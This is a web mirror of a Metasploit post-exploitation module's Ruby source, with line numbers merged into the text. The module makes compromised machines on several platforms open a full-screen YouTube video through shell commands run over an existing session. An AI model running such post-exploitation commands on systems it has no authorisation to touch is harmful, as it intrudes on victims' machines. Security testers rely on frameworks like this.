Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/manage/play_youtube.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Multi Manage YouTube Broadcast',13'Description' => %q{14This module will broadcast a YouTube video on specified compromised systems. It will play15the video in the target machine's native browser. The VID datastore option is the "v"16parameter in a YouTube video's URL.1718Enabling the EMBED option will play the video in full screen mode through a clean interface19but is not compatible with all videos.2021This module will create a custom profile for Firefox on Linux systems in the /tmp directory.22},23'License' => MSF_LICENSE,24'Author' => [ 'sinn3r' ],25'Platform' => [ 'win', 'osx', 'linux', 'android', 'unix' ],26'SessionTypes' => [ 'shell', 'meterpreter' ],27'Notes' => {28# ARTIFACTS_ON_DISK when the platform is linux29'SideEffects' => [ ARTIFACTS_ON_DISK, AUDIO_EFFECTS, SCREEN_EFFECTS ]30},31'Compat' => {32'Meterpreter' => {33'Commands' => %w[34android_*35stdapi_sys_process_execute36]37}38}39)40)4142register_options(43[44OptBool.new('EMBED', [true, 'Use the embed version of the YouTube URL', true]),45OptString.new('VID', [true, 'The video ID to the YouTube video', 'kxopViU98Xo'])46]47)48end4950def youtube_url51if datastore['EMBED']52"https://youtube.com/embed/#{datastore['VID']}?autoplay=1&loop=1&disablekb=1&modestbranding=1&iv_load_policy=3&controls=0&showinfo=0&rel=0"53else54"https://youtube.com/watch?v=#{datastore['VID']}"55end56end5758#59# The OSX version uses an apple script to do this60#61def osx_start_video(_id)62script = ''63script << %(osascript -e 'tell application "Safari" to open location "#{youtube_url}"' )64script << %(-e 'activate application "Safari"' )65script << %(-e 'tell application "System Events" to key code {59, 55, 3}')6667begin68cmd_exec(script)69rescue EOFError70return false71end7273true74end7576#77# The Windows version uses the "embed" player to make sure IE won't download the SWF as an object78#79def win_start_video(_id)80iexplore_path = 'C:\\Program Files\\Internet Explorer\\iexplore.exe'81begin82session.sys.process.execute(iexplore_path, "-k #{youtube_url}")83rescue Rex::Post::Meterpreter::RequestError84return false85end8687true88end8990#91# The Linux version uses Firefox92# TODO: Try xdg-open?93#94def linux_start_video(_id)95begin96# Create a profile97profile_name = Rex::Text.rand_text_alpha(8)98display = get_env('DISPLAY') || ':0'99vprint_status("Creating profile #{profile_name} using display #{display}")100o = cmd_exec(%(firefox --display #{display} -CreateProfile "#{profile_name} /tmp/#{profile_name}"))101102# Add user-defined settings to profile103s = %|104user_pref("dom.disable_open_during_load", false);105user_pref("browser.shell.checkDefaultBrowser", false);106|107write_file("/tmp/#{profile_name}/prefs.js", s)108109# Start the video110data_js = %|"data:text/html,<script>window.open('#{youtube_url}','','width:100000px;height:100000px');</script>"|111joe = "firefox --display #{display} -p #{profile_name} #{data_js} &"112cmd_exec("/bin/sh -c #{joe.shellescape}")113rescue EOFError114return false115end116117true118end119120#121# The Android version is launched via an Intent122#123def android_start_video(id)124intenturl = "intent://youtube.com/watch?v=#{id}&autoplay=1#Intent;scheme=http;action=android.intent.action.VIEW;end"125begin126session.android.activity_start(intenturl)127rescue Rex::Post::Meterpreter::RequestError128return false129end130true131end132133# The generic Unix version calls xdg-open(1) or open(1)134def unix_start_video(_id)135cmd_exec("xdg-open '#{youtube_url}' || open '#{youtube_url}'")136true137rescue EOFError138false139end140141def start_video(id)142case session.platform143when 'osx'144osx_start_video(id)145when 'windows'146win_start_video(id)147when 'linux'148linux_start_video(id)149when 'android'150android_start_video(id)151when 'unix'152unix_start_video(id)153end154end155156def run157id = datastore['VID']158159print_status("#{peer} - Spawning video...")160if start_video(id)161print_good("#{peer} - The video has started")162else163print_error("#{peer} - Unable to start the video")164return165end166end167end168169170